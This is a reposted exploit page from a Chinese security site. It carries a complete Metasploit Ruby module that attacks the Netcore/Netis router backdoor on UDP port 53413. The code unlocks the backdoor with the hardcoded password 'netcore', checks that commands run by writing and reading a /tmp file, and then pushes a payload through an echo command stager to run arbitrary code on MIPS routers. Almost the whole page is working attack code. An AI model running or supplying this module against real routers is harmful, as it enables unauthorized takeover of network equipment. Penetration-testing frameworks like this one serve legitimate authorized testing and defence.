首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Netcore Router Udp 53413 Backdoor
来源:metasploit.com 作者:h00die 发布时间:2016-08-12  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Netcore Router Udp 53413 Backdoor',
      'Description'     => %q{
        Routers manufactured by Netcore, a popular brand for networking
        equipment in China, have a wide-open backdoor that can be fairly
        easily exploited by attackers. These products are also sold under
        the Netis brand name outside of China. This backdoor allows
        cyber criminals to easily run arbitrary code on these routers,
        rendering it vulnerable as a security device.
        Some models include a non-standard echo command which doesn't
        honor -e, and are therefore not currently exploitable with
        Metasploit.  See URLs or module markdown for additional options.
      },
      'Author'          =>
        [
          'Nixawk',
          'h00die <mike@shorebreaksecurity.com>'
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'URL', 'https://www.seebug.org/vuldb/ssvid-90227' ],
          [ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ],
          [ 'URL', 'https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py']
        ],
      'Privileged'      => true,
      'Targets'         =>
        [
          ['MIPS Little Endian',
           {
             'Platform' => 'linux',
             'Arch'     => ARCH_MIPSLE
           }
          ],
          ['MIPS Big Endian',
           {
             'Platform' => 'linux',
             'Arch'     => ARCH_MIPSBE
           }
          ]
        ],
      'DefaultTarget'   => 0,
      'DisclosureDate'  => 'Aug 25 2014'))

    register_options(
      [
        OptInt.new('TIMEOUT', [true, 'The socket response timeout in milliseconds', 1000]),
        Opt::RPORT(53413)
      ], self.class)
  end

  def timeout
    (datastore['TIMEOUT'] || 1000) / 1000.0
  end

  def send_command(data)
    payload = "\x00" * 8
    payload << data
    udp_sock.put(payload)
  end

  def execute_command(cmd, _opts)
    send_command(cmd)
    vprint_status("Sending: #{cmd}")
  end

  def authenticate()
    # netcore is the password to unlock the backdoor
    send_command('netcore')
    resp = udp_sock.get(timeout)
    if resp.include?('Login succeeded!')
      vprint_good('Backdoor Unlocked')
    end
  end

  def check
    connect_udp
    authenticate
    resp = []
    tmp_file = Rex::Text.rand_text_alpha(5)
    # we need to test the echo command to see if it plays nice
    ["echo -en #{tmp_file} > /tmp/#{tmp_file}", "cat /tmp/#{tmp_file}"].each do |command|
      send_command(command)
      resp << udp_sock.get(timeout)
    end
    disconnect_udp
    resp_str = resp.join(',')
    # check if we got a good response back
    if resp.length >= 1 && resp_str.include?("\x00\x00\x00\x05") && resp_str.include?(tmp_file)
      # some routers have a non-standard echo which doesn't support -en, so we need to detect that
      if resp_str.include?('en ')
        print_status('Router backdoor triggered, but non-exploitable echo command detected.  Not currently exploitable with Metasploit.')
        Exploit::CheckCode::Detected
      else
        Exploit::CheckCode::Vulnerable
      end
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status('Exploiting...')
    connect_udp
    authenticate
    execute_cmdstager(:flavor => :echo, :linemax => 200)
    disconnect_udp
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·EyeLock nano NXT 3.5 - Remote
·NUUO NVRmini 2 / Crystal / NET
·EyeLock nano NXT 3.5 - Local F
·NUUO NVRmini 2 / NETGEAR Ready
·EyeLock Myris 3.3.2 - SDK Serv
·DLL Side Loading In VMware Hos
·vBulletin 5.2.2 - Preauth Serv
·WebNMS Framework Server 5.2 Ar
·Nagios Network Analyzer 2.2.1
·FreePBX 13 / 14 - Remote Comma
·Samsung Security Manager 1.5 A
·Samsung Smart Home Camera SNH-
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved